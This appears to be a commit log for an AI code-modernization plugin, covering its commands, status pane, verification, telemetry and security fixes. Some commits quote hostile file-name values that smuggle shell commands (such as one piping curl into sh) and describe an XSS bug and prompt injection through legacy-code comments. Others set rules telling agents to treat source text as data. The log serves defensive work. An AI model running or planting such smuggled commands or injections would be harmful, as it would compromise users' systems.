| Age | Commit message (Collapse) | Author |
|
Usage counts now say what the plugin runs on (system, python status and version, path problems) and which kind of failure happens: a missing or placeholder python, a permission block, a model error, or an error in the plugin's own script. Failures are classified on the machine into a fixed list and only the code is sent, once per kind per session. A session-start ping, once per plugin version, counts machines where nobody gets as far as typing a command. When python cannot run, the shell wrapper reports that itself, and on Windows it falls back to python or the py launcher.
|
|
The plugin now has a version and a changelog. Two hooks record whole-number usage counts (which command ran, how far a system got, how many rules and proofs) through the CLI's own telemetry: counts from 100 up are rounded, nothing is sent when the plugin is not in use, and any of three switches turns it off. The README documents every key and lists what the plugin was tried on, checked against the run files.
|
|
/modernize-review-pane
The pane's bare /modernize-review took the name of the plugin's own review command, so typing the short form in a pane-enabled session opened the pane's cards instead of the pop-up review. The pane's version is now /modernize-review-pane, and /modernize-review always runs the plugin command. Both still write the same review file.
|
|
A rule named only by a skipped or pending test no longer counts as covered. It is listed as "named, not run" and fails the rules check. A test-only folder is listed as tooling and gets no verdict. The verify command tries malformed records only when the person asked for exact behavior, so a proof loop has an end. The report parses rule headings and fields in linear time, and the report and pane show the new status.
|
|
An independent check of a rewritten batch job found differences on two new
inputs of one family (a blank numeric field the rewrite rejects on purpose
and the old program reads as zero). Each input has several output files, so
accepting the deviation meant three or four hand-written entries per input.
A top-level "approvedInputs": {"F23": "reason"} in a cases file now approves
every case that shares that input label. A reason is still required (blank
approves nothing), a case's own reason wins, a missing file is never turned
into a pass, and the result still lists the difference as approved.
|
|
Follow-ups from review of the consolidation pass:
- The agent is a restricted type with the same read-only wording as its
siblings, and every field on its numbered list is a single bounded line, so
a rule name containing a newline cannot fake another entry.
- A group with any number out of range or not an integer is rejected whole
instead of being coerced into a different merge.
- A merge keeps the most conservative review state: the highest priority, the
lowest confidence, and every suspected defect and SME question of the folded
rules.
- Every folded rule is returned with the rule it went into, and the rules
document lists them under "Rules folded into another", so nothing disappears
untraceably. Extra citations show as "Also cited" without the joining word.
|
|
Three ways a same-technology uplift could come out PROVEN too easily:
- The baseline came from a table someone typed. It now counts as measured
only when the script can read per-test results (JUnit or TRX XML, a runner
log with a summary line, or per-test JSON) from analysis/<system>/baseline/
or a "Recorded:" line of BASELINE.md; a counts-only file is ignored, two
measured sources that disagree are a gap, and the typed table must match
what was measured.
- Tests edited during the uplift passed unnoticed. The pack now compares the
legacy and working-copy test files (by walking files only) and lists what
was added, removed or changed; a removed file, more than a quarter of the
files changed, or no legacy tests to compare with is a gap, and it says
plainly that weakened assertions cannot be detected.
- A silent behavioral change with no test at its site. Each Behavioral-silent
delta in the catalog must have a test file naming its site file, or the
module is at most PARTLY PROVEN.
The report's Proof section shows the three new checks, and an uplift pack that
lacks any of them reads as PARTLY PROVEN. 214 script tests pass.
|
|
A numeric library implemented in C, in a C++ header and in a fixed-point
variant produced three "twiddle factor" rules, two "generic butterfly" rules
and two "factorization" rules, because the referee's duplicate key is the
file plus the rule's name. The plan and the review then carry noise.
After verification, one small agent per 150 rules lists the groups that
describe the same behavior implemented in more than one place, told to merge
only what would be implemented and tested as one thing. The kept rule cites
every place (the renderer shows them as "Also cited") and takes the highest
priority of its group; overlapping, out-of-range or self-merging groups are
ignored, and the rule list is fenced as untrusted data. The count is
reported as stats.consolidated.
|
|
Found by reading the commands as an engineer with a large Java 8 system:
- The baseline suite was run "on legacy/<system>", which writes build output
into the source. It now runs on a scratch copy, its result files or log are
kept under analysis/<system>/baseline/ and named in BASELINE.md, and a
typed table alone no longer counts as a measured baseline.
- The working copy no longer carries the source repository's history, keeps
files that look like credentials or production settings out of its first
commit and lists them for a person, and moves that history to its own new
local repository.
- Migration tools (OpenRewrite and the like) run on a scratch copy, never in
the source, since a dry run still builds and downloads.
- A move spanning several versions or two things at once (a JDK and a
framework) is split into hops that each build and test green.
- Tests are not run against a database or service the configuration names
until the person says it is a local or throwaway instance.
- The silent-behavior hunt now names the usual traps for Java, Python, Node
and PHP as well as .NET (locale data, default charset, ORM mappings,
property binding, str/bytes).
- The brief no longer requires business rules for a same-technology uplift:
the recorded baseline is its behavior contract, so extract-rules can wait.
|
|
Adds the pictures the README and the pane docs use: three of the report (the
at-a-glance view when the proof passes, the same view when an independent
check finds a difference the development cases missed, and the proof tab) and
ten of the live pane, drawn by the pane's own code from finished runs. The
report pictures come from real runs; the pane's fleet and x-ray views and its
GIF use scripted agent activity, and the review and sign-off pictures use
sample text, all said so in the pane's README.
The front door names every place a person decides and moves the security scan
first when the person asked for it, and status points a new user to the front
door instead of straight to preflight.
|
|
The pane's button reads "put in prompt" (it never runs the command), the
refresh button is gone (the pane already refreshes after writes, at turn end
and every 20 seconds while idle), the summary line fits a 120-column bar, and
the next-step reasons are short enough to read. A P0 rule under discussion is
listed under Attention ("the build waits"), and a module that is not proven
shows its first reason there. In an uplift, finished modules list before
merely edited ones.
hooks/README.md now names every button and label as the code does, documents
the plugin's /code-modernization:modernize-review command (which writes the
same ledger for people without the pane) and how it differs from the pane's
own /modernize-review, and says which pictures use sample text. 141 engine
tests pass and the type check is clean.
|
|
The report is the page people open first, but it never said what to do
next. It now shows one command with a copy button and a one-line reason,
decided from which artifacts exist (preflight through brief, a rule review
before the plan when rules look wrong, verify after a build, harden, then
status).
Short words and verdict pills no longer break inside narrow table cells
("sam" and "e", "Calculatio" and "n"): only paths and hashes break anywhere.
|
|
baselines
A reviewer's "this rule is wrong" never reached the plan or the rewrite: the
pane wrote a review ledger that no command read, and without the pane there
was no way to write one. /code-modernization:modernize-review asks about the
rules that need judgement (P0 rules with a defect, an SME question or less
than High confidence) in a pop-up, or takes verdicts typed in the request,
and writes the same RULE_REVIEWS.json/.md with an optional note. brief,
transform, reimagine and the test engineer read it: a rule marked wrong is
not an oracle and a P0 rule under discussion blocks.
Running the old system to record a baseline is now limited to the local
machine or a test environment the person named; production or third-party
services, new accounts and real data are off limits unless the approved plan
names them, a token in a recorded response is replaced before anything is
saved, and every command stops the servers it started.
Also: the front door asks in two pop-ups within the four-option limit, every
command points a missing-code user to /modernize <name> --source <path>, the
status inventory and next-step order include review and verify, the
assessment says what Rehost and Replace mean, preflight notes the Windows
python name, and the plugin and marketplace descriptions match what it does.
|
|
/code-modernization:modernize-verify re-checks a finished build instead of
trusting the notes it left behind, and a script (not the model) computes one
verdict per module: PROVEN, PARTLY PROVEN or NOT PROVEN, with the rules
written into the output.
The pack re-reads the tests' own result files or a saved runner log (counts
the command merely reported never count), traces every P0 business rule to a
test that names it, judges the old and new outputs again with compare.py,
then runs at least ten inputs that development did not use on both systems.
It requires a recorded canary that turned tests red, checks that the legacy
source was not touched (by file times: no process runs in the analyzed
tree), and lists every human criterion as waiting for a person. For an
uplift it diffs the fresh results against the recorded baseline. Verdicts
are never carried over from an earlier run.
The report gains a Proof section that recomputes each verdict from the same
checks, and a failed diagram no longer stops the ones after it from drawing.
|
|
On a roughly thousand-line C utility the whole-estate extraction ran four
rounds, spawned 223 agents and returned 141 rules (31 of them P0), because a
model can always find one more micro-behavior in a small program and the loop
only stopped when a round found nothing at all.
Every extractor now gets the same instruction on how fine to cut a rule: one
per business decision or calculation, not per branch or field, skipping
plumbing, roughly one per 40 to 80 lines of real logic, and rating P0 only
for the few rules that would defeat the system's purpose. The whole-estate
loop defaults to two rounds and stops when a round adds under 15% of what
is already catalogued.
|
|
Found by exercising the pane against the real outputs of finished runs:
- Below 144 columns the engine holds an unasked pane back; the pane ignored
that, so it drew no pane, no show bar, and the panel command "hid" a pane
that was never there.
- A symlinked legacy/<name> lists as another kind of entry, so the source
link that preflight now creates was never recognized as a system.
- Uplift and reimagine next steps were placeholders with no button.
- The refresh debounce was starved while agents ran, so the map froze.
- Hostile lines in the brief, rules and baseline could take seconds to match;
lines are now capped. The rule-review ledger is validated on read and
merged on save, and keeps a reviewer's note.
- A baseline with no row read as "the baseline had 0"; one-module baseline
totals now count as that module's row.
New: a verdict chip with words on every built module, a verify-first next
step, and a readable palette that follows the terminal theme. 140 engine
tests pass and the type check is clean.
|
|
Replace mean
Follow-ups from review of the tolerance check: an absolute tolerance above
1e-6 is refused like a relative one above 1%, numbers are compared as exact
decimals rather than doubles, dotted runs such as 1.2.3 or 10.0.0.1 are text
that must match exactly, and the self-check now changes the leading digit of
every sampled number to prove the tolerance cannot hide a real change.
The business-rules header says how many rules there were at extraction, since
later steps add rules. The assessment says what to do when it recommends
Rehost or Replace, which change no code and so have no build command.
|
|
The equivalence check compared bytes only, which cannot pass for numeric
code (Fortran, C, scientific and financial results) whose last digits differ
between compilers and math libraries, so those cases pushed people to mask
the numbers away. A case can now declare a tolerance, relative or absolute,
with a required reason. Only numbers written with a decimal point or an
exponent may differ within it; integers and every other byte must match, a
relative tolerance above 1% is refused, and the tolerance and the largest
difference are recorded in the result. The self-check also fails when a
tolerance is loose enough to hide a change to the leading digit of a number.
|
|
The extractor is told to cite a single file range per rule, but on a large
Perl codebase it kept returning two or three files and a sentence of
explanation in the source field, which the report and the pane cannot
resolve to a line. The renderer now takes the first path:line-range as the
rule's citation and puts anything after it on an "Also cited" line.
|
|
The Workflow tool refuses a plugin script path whenever the plugin lives
outside the working directory, which is the normal case for an installed
plugin: the model failed once or twice on every run before falling back to
the registered name. The commands now call each workflow by its registered
name and mention the script path only as a fallback.
modernize-uplift also referred to legacy/$system_version, which is not an
argument; it now uses $source_version everywhere, and the version pair, the
rewrite target and the vision fall back to analysis/<system>/INTENT.md when
they are not given. The README notes that a scripted (claude -p) run needs
CLAUDE_CODE_PRINT_BG_WAIT_CEILING_MS=0 so long fan-out steps can finish.
|
|
The portfolio sweep let each survey agent pick its own complexity tool, so
one system's number was a per-file total and another's a per-function mean,
and the heat-map compared them anyway. Every agent now takes the same
measure (the per-file decision-point total, and the most complex single
file), the workflow computes complexity per thousand lines in code, and the
table shows those columns. Documentation coverage no longer counts a license
header as documentation.
|
|
/code-modernization:modernize takes no arguments. It finds the code, asks
what the person wants to do with it (a newer version of the same
technology, a rewrite in another one, a rebuild, or just to understand it)
and what must stay true, writes the answers to analysis/<system>/INTENT.md,
shows the road ahead in a few lines, and gives the exact first command.
On a return visit it acts like status.
brief takes its objective, target and each phase's build command from
INTENT.md, and uplift, transform and reimagine fall back to it for their
versions, target and vision, so nobody is asked the same thing twice. The
README's start section now begins with the front door.
|
|
finish
Two problems from running the commands on real repositories:
- The P0 definition was money- and regulation-shaped, so a music-library
tool got no P0 rules and its behavior contract came out empty. P0 now
means the system's core purpose depends on the rule, or a wrong result is
costly or irreversible (money, legal, data integrity, security or safety,
or the central calculation or decision the system exists to perform).
- Citations came back as lists of ranges, and the rule renderer numbered
RULE-NNN in a different order from the document. Each rule now cites one
range and the numbers read in sequence.
Commands that start subagents now say to run them in the foreground and
wait, because a headless session ends when the model stops talking even if
it said it was waiting for a background agent.
|
|
equivalence check
Commands hardcoded legacy/<system>, so code too big to copy, or living at
an absolute path, needed a hand-made symlink. Preflight now takes
--source <path> and makes the legacy/<system> link for you (a junction on
Windows); nothing is copied, and every command says where the link points
before it starts. The harden patch is applied with patch -p1 -d.
Each command ends by naming the next command to run, and the commands are
about a third shorter with no step removed:
- map accepts an existing dependency graph (--graph) or the stack's own
tooling, maps very large estates in resumable chunks, records reflection
targets as unresolved instead of dead, asks before describing more than
40 nodes, and never gives two nodes the same location.
- transform can take its module and target from the brief, counts the
equivalence cases that executed (zero is a failure and a comparison never
skips), shows the tests can fail with a deliberate one-line break, and
hands "same or different" to a script when both systems can run.
- brief writes each phase in one fixed shape: one command, module ids as in
the map, and criteria written as conditions a build command may tick but
not reword.
- reimagine reuses the discovery artifacts instead of extracting them again.
- status names the exact command to paste next.
scripts/build_report.py turns whatever the commands wrote into one
self-contained, offline REPORT.html (Mermaid is vendored, all text from the
analysis is escaped, the quarantined secrets file is never read), and
scripts/compare.py decides byte-for-byte whether two outputs match, records
why, and checks it can fail. The shard builder ignores symbolic links and
paths that leave the source, matches a plain name against what lies beneath
it, and falls back to the directory tree when the map's modules share a
location.
The README drops from 275 to about 100 lines; the pane's reference moves to
hooks/README.md.
|
|
that ship with the plugin
The command used to carry a 35-line shard-building script inline and asked
the model to write a rules renderer on every run, so the shard list and the
BUSINESS_RULES.md layout varied from run to run and could not be tested.
scripts/make_shards.py builds the shard list from topology.json when the map
has run, and from the directory tree when it has not (skipping vendored,
generated and test-fixture directories, one shard per directory, split at 25
files or about 5,000 lines). scripts/render_rules.py turns the workflow's
result into BUSINESS_RULES.md and DATA_OBJECTS.md with RULE-NNN headings, the
SME section and the coverage gaps, and writes every value from the analysis as
plain text.
The workflow takes an optional sourceDir, so the code can live outside the
workspace, and shard files are kept relative to it. The command drops from 305
to about 150 lines.
|
|
The pane adds two kinds of text to what the model reads: a note about the
file it just read (names, rule titles and delta ids from the analysis
files) and a one-line state. Those names were written by analysis agents
from the legacy code, so a hostile comment could reach the model through
them.
Each such value is now cut to one short plain line: control, invisible
and bidirectional characters, backticks, angle and square brackets and
double quotes are replaced, and long values are trimmed. A note opens by
saying its contents are data, never instructions, and closes with an end
line no value can forge. The state line says it is a status line and not
an instruction, and the next-step command names a module only when the
module id is one plain token. The pane lists only system directories
whose names the plugin's workflows accept.
|
|
Adds a hooks module, off unless the CLI's early-access function hooks
are enabled, that draws a pane beside the transcript while the commands
run: the system, which steps are done, a map of its code, each unit of
work and where it stands, what needs attention, and the next command.
It reads only the artifacts the commands write and the legacy tree, so
it works for any language and for a rewrite, a same-stack uplift or a
greenfield rebuild. The map comes from topology.json when there is one
and from the source tree when there is not. In an uplift each module is
set against the baseline; tests are read from JUnit XML, .trx reports or
the runs a session sees; a button shows and hides the pane, and
/modernize-panel does the same from the keyboard.
The same module adds x-ray context on legacy reads, a review deck for
business rules (/modernize-review), a sign-off dialog (/modernize-sign)
and a fleet view that spots one failure repeating across agents. It
only watches: it never blocks, rewrites or restores an edit, and it runs
no program inside the trees it reads. An uplift's changed modules are
found by comparing the working copy with the tree by file name and size
through the file API. Its options are the plugin's userConfig. Without
the flag nothing loads and the commands, agents and workflows behave as
before.
91 tests in tests/ run with "claude plugin test"; plugin validate
passes on the release build with the flag on and off.
|
|
extract-rules puts module names and file paths, which come from the
repository's own file names, into agent prompts. They were already
checked for traversal, control characters, backticks and angle
brackets, but a name such as "a;curl x|sh.cbl" or "$(id).cbl" passed
and could be run if an agent pasted it into a command unquoted.
A module name and a domain are labels: they are never opened, so they
are now cleaned instead of dropped (shell separators, quotes, glob and
brace characters, a leading hyphen or space, and a dollar sign that
opens an expansion become "_"), and the prompt says a name is a label
only. A file path has to round-trip, so it is checked and dropped, with
the drop counted and logged, when it holds a command separator, a quote,
a glob, brace or bracket character, a dollar sign that opens an
expansion ($(, ${, $HOME, $IFS, $@), leading or trailing whitespace, a
~ at the start of a word or after = or :, or a word that starts with -
(a shell would split "a -rf.cbl" into a path and a flag). Backslashes
are turned into / first, so the checks and a shell see one spelling and
Windows-style paths keep working.
A dollar sign before a digit or at the end stays allowed, as do #, @, ~
inside a word and a lone hyphen between spaces: mainframe member names
use them ("PAY$001"), and a positional parameter expands to nothing or
the shell's own name, never to anything the file's author controls.
The extractor prompt also says to open paths with the Read tool and to
wrap any that goes in a shell command in single quotes.
|
|
Make the text say what the commands and workflows already do: where each build command writes, which commands need earlier output, the approval stop before an uplift fan-out, a version placeholder that named arguments left unusable, a reference to a README section that does not exist, and a few counts and step references. No new steps or options.
|
|
The command told the model to state the shard count and an estimate
before launching, but in live runs on a small system it launched
without saying anything: a reply that only mentions the estimate is
easy to skip and is not a gate.
With more than 12 shards the command now requires an AskUserQuestion
that carries the shard count, the line count and the estimate (agents,
tokens, minutes) and offers to run all shards, run only a slice, or
cancel. With 12 shards or fewer it launches straight away and says
what it launched.
The estimate is now a working formula (10 to 15 agents per shard, about
16k tokens per agent, about 8 agents finishing per minute) with the two
runs it comes from: 4 shards used 58 agents in under 10 minutes, and a
44-program, 30,000-line estate used 466 to 647 agents.
|
|
has been tried on
Adds one section to the README for the questions a team asks before
adopting the plugin. It says who owns which directory and which
artifact suits which reviewer, taken from what each command says the
artifact contains, and that state lives in files so a second person or
a fresh session can pick up with modernize-status.
It notes that preflight and assess write their reports under analysis/
(with two side effects: preflight's smoke test builds one small project
with the system's own tools, and a non-git project's credential
inventory goes to ~/.modernize/), that the commands, agents and workflows are plain
markdown and JavaScript that can be forked, and that extraction is
model-driven, so BUSINESS_RULES.md is reviewed output rather than a
deterministic build artifact.
It also lists the prerequisites (accept-edits mode or the allow rules,
and a toolchain for the target stack) and says that the one example the
README shows is AWS CardDemo, so stacks without an example should expect
to adapt the prompts.
|
|
The commands are written never to edit legacy/, but nothing checked
that anything enforced it. Preflight now has a Check 7 that reads,
without changing anything, the project's .claude/settings.json and
.claude/settings.local.json and the user's settings file, and looks for
an Edit deny rule that covers legacy/. The result is a row in
PREFLIGHT.md with the same status marks as the other checks: a green row
names the file and the rule, and a warning prints the settings snippet
to add. The check never edits a settings file and never suggests
loosening one.
The check also says plainly that a permission rule covers the file tools
and the shell commands the CLI recognizes, not a script that
opens the files itself, so a green row is not a guarantee. A read-only
mount, or a sandbox that blocks writes to legacy/, is. The README no
longer says the settings file enforces the invariant: the commands keep
to it by convention and the rule backs that up.
|
|
dropping it
When a verifier agent died, harden-scan dropped its finding: the finding
was neither confirmed nor refuted and nothing in the result mentioned
it. When a finder agent died, its whole vulnerability class vanished the
same way, so a class nobody scanned looked like a class that was clean.
Both also flattered the false-positive rate, which was divided by every
finding, judged or not (issue #6109).
The workflow now pairs each result with its input by position. Finder
classes that returned nothing come back as deadFinders, findings no
refuter judged come back as unverified with a reason, and both are
counted in stats. Neither is in findings, so what counts as confirmed is
unchanged, and the false-positive rate is refuted over judged findings.
When nothing dies the result is identical to before.
modernize-harden now writes a Coverage gaps section under the scorecard
in SECURITY_FINDINGS.md that names the classes not scanned and the
findings not judged, and offers to re-run just those. The workflow takes
them back as optional classes and findings arguments and reports its own
gaps the same way. The agent estimate now states the formula from the
code (5 finders, one refuter per distinct finding, one second judge per
finding still Critical or High) instead of a fixed range.
|
|
The README recommended Write(path) permission rules. File permissions
are checked against Edit(path) rules only, so the Write rules were
accepted but never consulted. The recommended settings now use
Edit(analysis/**) and Edit(modernized/**) allow rules and an
Edit(/legacy/**) deny rule, with a line saying that file writes are
matched through the Edit rule. The deny rule is anchored at the project
root, because an unanchored one also matches any nested directory named
legacy. It refuses a cp out of legacy/ as well, so the README gives
rsync -a for uplift's working copy, and says a symlinked legacy tree
needs additionalDirectories and a deny on its real path. The list of
shell commands that bypass the file rules drops sed -i (the deny rule
does cover sed, tee and redirections) and keeps git apply and scripts.
The README said brief enters plan mode; the command says to use plan
mode if the session supports it. The README now says the same.
The marketplace description predated same-stack uplift. It now lists
uplift and mentions version uplifts such as .NET Framework to .NET 8.
|
|
assess and harden said --show-secrets could appear anywhere and that the
system dir was the first non-flag token. Since the commands declare
named arguments, $system is filled with the first token, so
"--show-secrets carddemo" puts legacy/--show-secrets into every path
template, and harden's workflow rejects a system name that starts with
a dash. The old rule contradicted how the arguments bind.
The usage text now says flags go after the positional arguments, and the
README shows --show-secrets in that position on the assess and harden
usage lines. assess --portfolio keeps its mode flag first. No parsing
logic is added. A flag-first invocation now gets a request to run again in
the right order, where a model used to work out the intent on its own.
|
|
After topology.json is built, map now writes one paragraph (55 to 90
words) per node into a description field: what the node does in
business terms, then what it calls, reads, writes or is called by.
Each writer gets only that node's source excerpt, header comment and
connections from the map, is told every name and number must come from
that data, and says so in one sentence when the data is thin. The
session checks the paragraphs against those packets before merging
them, and writers never write files. Writers run in parallel batches of
about 8, and --no-describe skips the step.
The viewer's sidebar shows the description under the size and language
line with a muted caption, inserted as text rather than markup because
it is derived from analyzed source. Nodes without a description, and
topology.json files written before this change, render exactly as
before.
|
|
target stack
The five Check 0 questions were left to the model to ask in chat, where
they were easy to skip, paraphrase or answer on the person's behalf.
They are now asked with AskUserQuestion, questions 1-4 in one call and
the fifth in a second, each with a "Don't know" option and room for free
text, and never in chat text. Checks that do not depend on the answers
may run while the pop-up is open, and a question that is never answered
still lands in the report as an open item. Every answer is recorded
verbatim in an Answers section of PREFLIGHT.md, which the brief reads.
The command declared a target_stack argument but never used it. Check 3b
now builds a throwaway project on the target stack (restore, build, one
passing test) so a target that installs but cannot build here is caught
before transform or uplift starts.
|
|
A run numbered rules with domain-coded ids (BR-D7 and similar), which
broke the tools that find rules by their RULE-NNN heading. The Rule Card
section now says the heading is exactly that form, numbered
sequentially.
The script that renders BUSINESS_RULES.md and DATA_OBJECTS.md from the
workflow result was being written to /tmp, so the documents could not be
regenerated. It is now saved as analysis/<system>/render_rules.py, next
to the result it reads.
|
|
Extraction now shards by module: one extractor per module, in ordered
batches, so each agent reads a small slice instead of the whole estate.
The command builds the module list from analysis/<system>/topology.json
when it exists (otherwise from the directory tree), states the shard
count and an agent estimate before launching, and documents how to
resume an interrupted run with resumeFromRunId and how to re-run only
the shards that failed. The workflow stays inside the runtime's agent
cap and reports coverage gaps (skipped, failed and unverified shards)
instead of returning a partial catalog without saying so.
The estimate paragraph carries what was observed on a 44-program,
30,000-line system: 466 to 647 agents, about 8.8M tokens, 50 to 80
minutes. Module-mode extractors cite paths relative to legacy/<system>/,
like the lens-mode extractors.
|
|
|
|
Positional placeholders are zero-based ($0 is the first argument), but
every command used $1 for the first one, so arguments arrived shifted:
modernize-preflight carddemo java-spring analyzed legacy/java-spring.
Each command now declares its arguments in frontmatter (for example
`arguments: system module target_stack`) and uses the names. A missing
optional argument now expands to an empty string instead of a literal
placeholder.
Plugin commands resolve only by their namespaced name, so the README,
command cross-references, agents, workflow descriptions and the
topology viewer now say /code-modernization:modernize-*.
The extract-rules workflow is renamed modernize-extract-rules-mine. It
shared the command's name, so invoking the command could start the
workflow directly and skip the command's instructions. Commands launch
workflows by script path, so nothing else changes.
|
|
deeper preflight
/modernize-uplift migrates one representative project end-to-end and
writes its lessons to analysis/<system>/PLAYBOOK.md before touching the
rest. The remaining projects then fan out through a new uplift-migrate
workflow, one uplift-migrator agent per project, in dependency-aware
escalating batches behind a per-batch circuit breaker. A recorded
per-test baseline (analysis/<system>/BASELINE.md) gates the migration,
and the delta catalog reports a test framework whose runner does not
support the target as its own highest-blast-radius dependency.
The three execution commands (uplift, transform, reimagine) read
MODERNIZATION_BRIEF.md and treat their phase's scope and entry and exit
criteria as gates, so editing the brief steers execution. For a
same-stack uplift the brief requires the delta catalog and applies the
same ordering overrides the execution command does.
/modernize-preflight opens with a short interview (scope, local build
and test, bespoke build infrastructure, prior attempts, what is off
limits) without blocking on the answers, reads the CI/build definition
for how the system builds, escalates the smoke test to a whole-project
restore and build, and adds a scope-boundary check that enumerates
inbound and outbound dependencies when the system directory is a slice
of a larger repository.
Workflow scripts accept args delivered as either a JSON string or an
object.
|
|
Adversarial re-audit of the current (post-uplift) state found the plugin
internally consistent (no blocker/high issues). Two follow-ups:
README rewrite for clarity (209 -> 122 lines, ~halved):
- Reorder so a newcomer goes what-it-is -> install -> quickstart -> command
reference -> deeper notes, instead of hitting two dense design essays
before the command list.
- Lead with what it produces; add a 3-command teaser.
- Collapse the 'Dynamic workflow orchestration' and 'Untrusted code &
prompt injection' essays and the COCOMO note into short, plain sections at
the bottom; drop the internal 'Bash isn't a tool-lock' hedging and
per-defense enumeration (kept the load-bearing points: untrusted-code
threat model, secrets quarantine, COCOMO-is-not-a-timeline).
- Remove cross-section redundancy (build methods, read-only caveat,
scaffolder write-scope, dir convention each stated once now); gloss
strangler-fig/JOBOL inline.
Path nit from the audit: uplift now writes to modernized/<system>-uplifted/
(mirroring reimagine's -reimagined/) so the three build paths occupy disjoint
roots and status can't mis-detect an uplift copy as transform modules.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
|
Code/security:
- extract-rules.js: guard null agent() verdicts in the verify + P0 loops
(a skipped/dead referee made {rule,v:null} survive .filter(Boolean) and
then crashed on v.injectionSuspected / v.every) — sibling scripts already
had the guard.
- topology viewer XSS: the map injector embedded untrusted JSON (node names
from filenames, etc.) into a <script> island unescaped — a name containing
</script> executed on open. Escape < > & in the injected data and add a CSP
to the template.
- Second-order injection: citation/identifier fields (source / cwe /
source_site / correctedSource) were interpolated UNFENCED into the verifier
prompts that are supposed to be the trust anchor. Fence them in
extract-rules, harden-scan, uplift-deltas.
uplift design (audit of the new feature):
- Working-copy model: copy the WHOLE solution to modernized/ once and edit in
place (relative project refs survive; result is a reviewable git diff) —
the incremental per-project copy broke multi-project builds.
- Dual-run honesty: reframed as 'if both runtimes run here' (net48 needs
Windows; JUnit/pytest don't multi-target); dummy-test gate now binds a real
SUT under both targets; per-stack harness notes.
- Tooling honesty: present/runnable/actually-ran distinction; never fold in a
tool that couldn't run; apiport/2to3 demoted; py2->3 removed from 'preserve'
examples.
- Delta classes: name the high-blast-radius landmines (JPMS strong
encapsulation, .NET trimming/AOT, ICU globalization, hosting/runtime-config,
analyzer/nullable) in the finder briefs + agent.
- Rewrite-vs-uplift signal: weigh by touched sites (siteCount), not delta-card
count; judgment-share demoted to secondary.
Docs/consistency: brief reads topology.json (not TOPOLOGY.html); README
'five commands'; credential-masking claim split (analysts mask+cite vs
code-writers substitute fakes); read-only/write-scope claims softened to
match enforcement (Bash retained -> discipline, not tool-lock); reimagine
nested blockers/pendingRuleIds; status splits transform vs reimagine markers;
portfolio enumeration basenames; plugin.json description updated.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
|
Adds a third build method alongside transform (cross-stack rewrite) and
reimagine (greenfield): uplift, for same-stack version bumps (.NET Framework
4.8 -> .NET 8, Spring Boot 2->3, Python 2->3) where the right move is to
PRESERVE the code and fix only the version deltas, not extract intent and
rewrite.
- commands/modernize-uplift.md: delta-catalog-driven, dual-target test harness
(one suite on both runtimes; baseline-on-old is the oracle), leaf-first build
graph ordering, minimal-diff discipline (architecture-critic flags gratuitous
divergence), and a 'this is a rewrite, use transform' escape hatch.
- agents/version-delta-analyst.md: finds the source->target breaking changes
that THIS code hits; drives the ecosystem migration tool (upgrade-assistant /
OpenRewrite / pyupgrade / ng update) and owns the residue; read-only.
- workflows/uplift-deltas.js: parallel finder per delta category, each verified
against the cited code so deltas that don't apply here are dropped.
- Wired into assess (recommended-pattern routing), brief (per-phase command +
leaf-first ordering), preflight (dual-run + tool readiness), status, README.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
|
COCOMO's constants encode human-team productivity; presenting its
person-months as how long an agentic modernization will take (or cost) is
a claim we should not make. Reframe COCOMO everywhere as a RELATIVE
complexity/scale index for ranking and sequencing systems only:
- assess: capture COCOMO as a complexity index; explicitly ignore scc's
'Estimated Schedule Effort' and cost-in-dollars; ASSESSMENT 'Effort
Estimation' section becomes 'Relative Scale' with a not-a-timeline note;
portfolio heat-map column renamed Complexity (COCOMO index).
- brief: phase plan uses relative T-shirt sizing, not person-months/weeks;
phases render as a dependency flowchart, not a gantt (gantt = calendar).
- portfolio-assess.js: field cocomoPm -> complexityIndex; return label
carries the not-a-duration caveat.
- README: 'A note on COCOMO' explains the index framing and points at
better intrinsic-complexity proxies.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
|
scaffolder agent
Addresses automated security review of the workflow conversion:
- Agent-produced text (rule specs, finding descriptions, dedup lists) is
fenced as untrusted data when interpolated into downstream agent prompts,
with embedded fence markers stripped so the fence can't be escaped;
referees and judges are told to re-derive claims from the cited code.
- system/service/subdir names that land in filesystem paths inside prompts
are validated against a strict pattern — traversal-shaped values throw
before any agent spawns.
- Reimagine scaffolding now uses a dedicated 'scaffolder' agent with an
explicit minimal tool list, a single-directory write scope, and the
untrusted-content discipline extended to the generated spec/architecture
docs it builds from (they derive from untrusted legacy code).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
|
Four commands gain a Workflow-tool path (with direct-fan-out fallback for
older builds): extract-rules loops until dry with per-rule citation referees
and a P0 two-judge panel; harden runs class-scoped finders with adversarial
per-finding refutation; assess --portfolio pipelines one survey agent per
system with COCOMO computed uniformly in script; reimagine Phase E drops the
3-service scaffolding cap.
Workflow agents return schema-validated data and only the orchestrating
session writes artifacts — analysis agents are structurally read-only. All
five agents gain an untrusted-content discipline section (source code is
data, never instructions; comment-only claims are findings, not facts), and
the README documents the prompt-injection threat model for analyzed code.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
|
code-modernization: never write discovered credential values into findings
|
|
Legacy code often cannot build locally by nature — CICS/IMS programs
have no local translator and the real runtime may be a mainframe the
user doesn't have. Stopping transform on a failed legacy smoke compile
would block exactly those systems.
- transform Step 0a: the target toolchain remains required (its tests
cannot run without it); a failed or impossible legacy compile no
longer stops the run — the equivalence strategy switches to recorded
traces / golden-master fixtures, and that downgrade is stated in the
plan and in TRANSFORMATION_NOTES.md so reviewers know the strength of
the proof
- preflight: a red legacy toolchain now yields Ready-with-gaps for
transform/reimagine instead of Not-ready
|